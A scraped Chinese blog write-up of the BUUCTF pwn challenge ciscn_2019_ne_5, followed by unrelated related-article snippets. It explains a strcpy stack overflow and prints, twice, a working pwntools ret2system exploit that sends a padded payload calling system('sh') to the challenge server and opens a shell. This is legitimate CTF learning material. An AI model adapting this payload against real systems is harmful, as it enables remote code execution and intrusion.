BUUCTF-pwn-ciscn_2019_ne_51

2023-11-30 02:15
文章标签 buuctf 51 2019 pwn ciscn ne

本文主要是介绍BUUCTF-pwn-ciscn_2019_ne_51,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

简单查看保护:


32为程序没有canary没有PIE,应该是简单的栈溢出。我们照着这个思路去找溢出点在哪,运行下程序看看什么情况:


程序上来是输入一个密码验证。随便输入下错误直接退出。因此我们需要到IDA中看看怎么回事:


主函数大致流程在此。还给了system函数地址:


使用ROPgadget工具查找字符串/bin/sh:

ROPgadget --binary ciscn_2019_ne_5 --string ‘/bin/sh’

 


啥也没有。这里就有一个小技巧了。当找不到/bin/sh的时候,可以用sh代替。我们查找下程序中存不存在sh:


找到了。那么我们需要构造的东西都有了,接着就是找溢出点。观察程序流程:       


对应程序中是这样:


我们观察这个函数:

from pwn import*
io=remote('node4.buuoj.cn',27546)
#io=process('./ciscn_2019_ne_5')
system_addr=0x080484d0
sh_addr=0x080482ea
io.recvuntil('password:')
io.sendline('administrator')
io.recvuntil('Exit\n:')
io.sendline(str(1))
io.recvuntil('info:')
payload=b'a'*0x4c+p32(system_addr)+b'a'*4+p32(sh_addr)
io.sendline(payload)
io.recvuntil('Exit\n:')
io.sendline(str(4))
io.interactive()

它会把我们的输入放入src这个数组中。并在隐藏选项4中引用:


我们看到strcpy是将src的内容复制到dest。我们前面看到src允许我们输入128个字节。而dest数组离ebp只有0x48个字节。因此这里可以溢出。直接构造payload:

from pwn import*
io=remote('node4.buuoj.cn',27546)
#io=process('./ciscn_2019_ne_5')
system_addr=0x080484d0
sh_addr=0x080482ea
io.recvuntil('password:')
io.sendline('administrator')
io.recvuntil('Exit\n:')
io.sendline(str(1))
io.recvuntil('info:')
payload=b'a'*0x4c+p32(system_addr)+b'a'*4+p32(sh_addr)
io.sendline(payload)
io.recvuntil('Exit\n:')
io.sendline(str(4))
io.interactive()

得到flag:

这篇关于BUUCTF-pwn-ciscn_2019_ne_51的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/435213

相关文章

day-51 合并零之间的节点

思路 直接遍历链表即可,遇到val=0跳过,val非零则加在一起,最后返回即可 解题过程 返回链表可以有头结点,方便插入,返回head.next Code /*** Definition for singly-linked list.* public class ListNode {* int val;* ListNode next;* ListNode() {}*

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

BUUCTF(34)特殊的 BASE64

使用pycharm时,如果想把代码撤销到之前的状态可以用 Ctrl+z 如果不小心撤销多了,可以用 Ctrl+Shift+Z 还原, 别傻傻的重新敲了 BUUCTF在线评测 (buuoj.cn) 查看字符串,想到base64的变表 这里用的c++的标准程序库中的string,头文件是#include<string> 这是base64的加密函数 std::string

基于51单片机的自动转向修复系统的设计与实现

文章目录 前言资料获取设计介绍功能介绍设计清单具体实现截图参考文献设计获取 前言 💗博主介绍:✌全网粉丝10W+,CSDN特邀作者、博客专家、CSDN新星计划导师,一名热衷于单片机技术探索与分享的博主、专注于 精通51/STM32/MSP430/AVR等单片机设计 主要对象是咱们电子相关专业的大学生,希望您们都共创辉煌!✌💗 👇🏻 精彩专栏 推荐订阅👇🏻 单片机

代码训练营 Day26 | 47.排序II | 51. N-皇后 |

47.排序II 1.跟46题一样只不过加一个树层去重 class Solution(object):def backtracking(self,nums,path,result,used):# recursion stopif len(path) == len(nums):# collect our setresult.append(path[:])return for i in range(

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

VB和51单片机串口通信讲解(只针对VB部分)

标记:该篇文章全部搬自如下网址:http://www.crystalradio.cn/thread-321839-1-1.html,谢谢啦            里面关于中文接收的部分,大家可以好好学习下,题主也在研究中................... Commport;设置或返回串口号。 SettingS:以字符串的形式设置或返回串口通信参数。 Portopen:设置或返回串口

2019学习计划

工作三年了,第一年感觉是荒废的,第二年开始学习python,第三年开始自动化 感觉自己会的东西比较少,而且不够深入,流于表面 现制定一下今年大概的学习计划 需持续巩固加强:python、ui自动化、接口自动化、sql等 代码量需提升,敲的不够(重点) 学习: 1.移动端测试,appium等 2.前端知识系统整理学习  3.性能测试 4.docker入门,环境搭建 5.shell

基于51单片机的智能小车转向控制系统设计与实现

文章目录 前言资料获取设计介绍功能介绍具体实现截图参考文献设计获取 前言 💗博主介绍:✌全网粉丝10W+,CSDN特邀作者、博客专家、CSDN新星计划导师,一名热衷于单片机技术探索与分享的博主、专注于 精通51/STM32/MSP430/AVR等单片机设计 主要对象是咱们电子相关专业的大学生,希望您们都共创辉煌!✌💗 👇🏻 精彩专栏 推荐订阅👇🏻 单片机设计精品

嵌入式软件--51单片机 DAY 4

一、蜂鸣器 当电流通过线圈时会产生电磁场,电磁场与永磁体相互作用,从而使金属膜产生震动而发声。为使金属膜持续震动,蜂鸣器需要使用震荡电路进行驱动。有些蜂鸣器元件内部自带震荡驱动电路,这种蜂鸣器叫做有源蜂鸣器(Active Buzzer,自激式蜂鸣器);而有些则不带震荡驱动电路,这种蜂鸣器叫做无源蜂鸣器(Passive Buzzer,它激式蜂鸣器)。 1.原理图 2.软件实现 Int_B